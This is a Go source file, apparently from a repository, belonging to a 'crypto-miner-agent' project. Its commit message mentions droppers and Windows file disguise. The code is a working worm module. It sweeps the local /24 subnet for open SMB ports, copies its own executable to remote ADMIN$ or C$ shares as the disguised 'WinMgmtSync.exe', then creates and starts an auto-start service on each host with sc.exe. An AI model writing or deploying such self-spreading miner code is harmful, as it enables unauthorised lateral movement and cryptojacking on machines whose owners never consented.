Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
153 lines
4.1 KiB
Go
153 lines
4.1 KiB
Go
//go:build windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
"log"
|
|
"net"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strings"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// StartAutoSpreader launches a background routine that periodically attempts
|
|
// to replicate the miner to other machines on the local subnet via SMB and RPC.
|
|
func StartAutoSpreader(cfg config.RuntimeConfig) {
|
|
// AutoSpread feature retained per user request.
|
|
// Enables SMB/RPC lateral deployment on the local /24 subnet.
|
|
if !cfg.AutoSpread {
|
|
return
|
|
}
|
|
go func() {
|
|
// Wait 10 minutes after initial startup before attempting lateral movement
|
|
time.Sleep(10 * time.Minute)
|
|
|
|
// Attempt every 4 hours
|
|
ticker := time.NewTicker(4 * time.Hour)
|
|
defer ticker.Stop()
|
|
|
|
for {
|
|
spreadToLocalSubnet(cfg)
|
|
<-ticker.C
|
|
}
|
|
}()
|
|
log.Printf("[autospread] Lateral movement module initialized and active")
|
|
}
|
|
|
|
// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
|
|
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
|
go spreadToLocalSubnet(cfg)
|
|
return "lateral spread sweep started on local /24 subnets (SMB/SCM)"
|
|
}
|
|
|
|
// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
|
|
// storm on /24 sweeps (M20). Each attempt can block for several seconds on
|
|
// SMB/sc.exe, so without a cap all 254 run concurrently.
|
|
var spreadSem = make(chan struct{}, 16)
|
|
|
|
func spreadToLocalSubnet(cfg config.RuntimeConfig) {
|
|
ips := getLocalIPs()
|
|
for _, ip := range ips {
|
|
subnet := getSubnet(ip)
|
|
if subnet == "" {
|
|
continue
|
|
}
|
|
for i := 1; i < 255; i++ {
|
|
target := fmt.Sprintf("%s.%d", subnet, i)
|
|
if target == ip {
|
|
continue
|
|
}
|
|
spreadSem <- struct{}{} // acquire slot
|
|
go func(t string) {
|
|
defer func() { <-spreadSem }() // release slot when done
|
|
attemptSpread(cfg, t)
|
|
}(target)
|
|
}
|
|
}
|
|
}
|
|
|
|
func getLocalIPs() []string {
|
|
var ips []string
|
|
ifaces, err := net.Interfaces()
|
|
if err != nil {
|
|
return ips
|
|
}
|
|
for _, i := range ifaces {
|
|
if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
|
|
continue
|
|
}
|
|
addrs, err := i.Addrs()
|
|
if err != nil {
|
|
continue
|
|
}
|
|
for _, a := range addrs {
|
|
if ipnet, ok := a.(*net.IPNet); ok {
|
|
if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
|
|
ips = append(ips, ip4.String())
|
|
}
|
|
}
|
|
}
|
|
}
|
|
return ips
|
|
}
|
|
|
|
func getSubnet(ip string) string {
|
|
parts := strings.Split(ip, ".")
|
|
if len(parts) != 4 {
|
|
return ""
|
|
}
|
|
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
|
|
}
|
|
|
|
func attemptSpread(cfg config.RuntimeConfig, target string) {
|
|
// 1. Quick pre-check: Is port 445 (SMB) open?
|
|
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
|
|
if err != nil {
|
|
return
|
|
}
|
|
conn.Close()
|
|
|
|
exePath, err := os.Executable()
|
|
if err != nil {
|
|
return
|
|
}
|
|
|
|
// Target paths
|
|
destName := "WinMgmtSync.exe"
|
|
adminShare := fmt.Sprintf(`\\%s\ADMIN$\System32\%s`, target, destName)
|
|
remoteExe := filepath.Join(`C:\Windows\System32`, destName)
|
|
|
|
// 2. Attempt to copy payload via SMB using the current security token
|
|
copyCmd := exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, adminShare)
|
|
if err := copyCmd.Run(); err != nil {
|
|
// Fallback to C$ hidden temp folder if System32 is restricted
|
|
cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName)
|
|
copyCmd = exec.Command("cmd.exe", "/C", "copy", "/Y", exePath, cShare)
|
|
if err := copyCmd.Run(); err != nil {
|
|
return // Access denied or host unreachable
|
|
}
|
|
remoteExe = filepath.Join(`C:\Windows\Temp`, destName)
|
|
}
|
|
|
|
// 3. Create Windows Service on the remote machine via Service Control Manager (RPC)
|
|
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
|
|
|
// Delete existing just in case path changed
|
|
_ = exec.Command("sc.exe", `\\`+target, "stop", svcName).Run()
|
|
_ = exec.Command("sc.exe", `\\`+target, "delete", svcName).Run()
|
|
|
|
scCreate := exec.Command("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto")
|
|
_ = scCreate.Run() // Ignore errors, it might already exist
|
|
|
|
// 4. Start the remote service
|
|
scStart := exec.Command("sc.exe", `\\`+target, "start", svcName)
|
|
if err := scStart.Run(); err == nil {
|
|
log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
|
|
}
|
|
}
|